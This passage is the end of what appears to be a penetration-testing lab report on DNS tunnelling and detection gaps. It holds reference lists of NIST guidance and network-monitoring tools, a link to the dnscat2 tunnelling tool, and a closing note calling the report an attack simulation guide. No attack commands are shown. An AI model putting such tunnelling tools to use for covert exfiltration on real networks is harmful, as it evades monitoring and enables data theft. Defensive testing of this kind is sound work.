4. **DNS Tunneling Research**: Academic papers on covert channel detection

Security Architecture Resources

1. **Defense in Depth**: NIST Cybersecurity Framework Guidelines
2. **Network Segmentation**: NIST SP 800-41 Rev 1
3. **Security Monitoring**: Logging and Detection Best Practices
4. **Firewall Policy Development**: Enterprise firewall architecture principles

Tools and Technologies

1. **dnscat2 GitHub Repository**: https://github.com/iagox86/dnscat2
2. **Pi-hole DNS Filtering**: https://docs.pi-hole.net/
3. **Zeek Network Security Monitor**: https://zeek.org/
4. **pfSense Firewall Platform**: https://docs.netgate.com/pfsense/

Document Version: 1.0
Last Updated: September 30, 2025
Author: Prageeth Panicker
Status: Detection Gap Identified - Remediation Pending
Next Session: Firewall Rule Implementation for DNS Restriction

---

This document serves as both an attack simulation guide and a security infrastructure validation methodology for cybersecurity professionals conducting penetration testing and detection capability assessment. The techniques and findings presented demonstrate real-world attack scenarios requiring architectural remediation, and the systematic approach can be adapted for comprehensive security control validation in enterprise environments.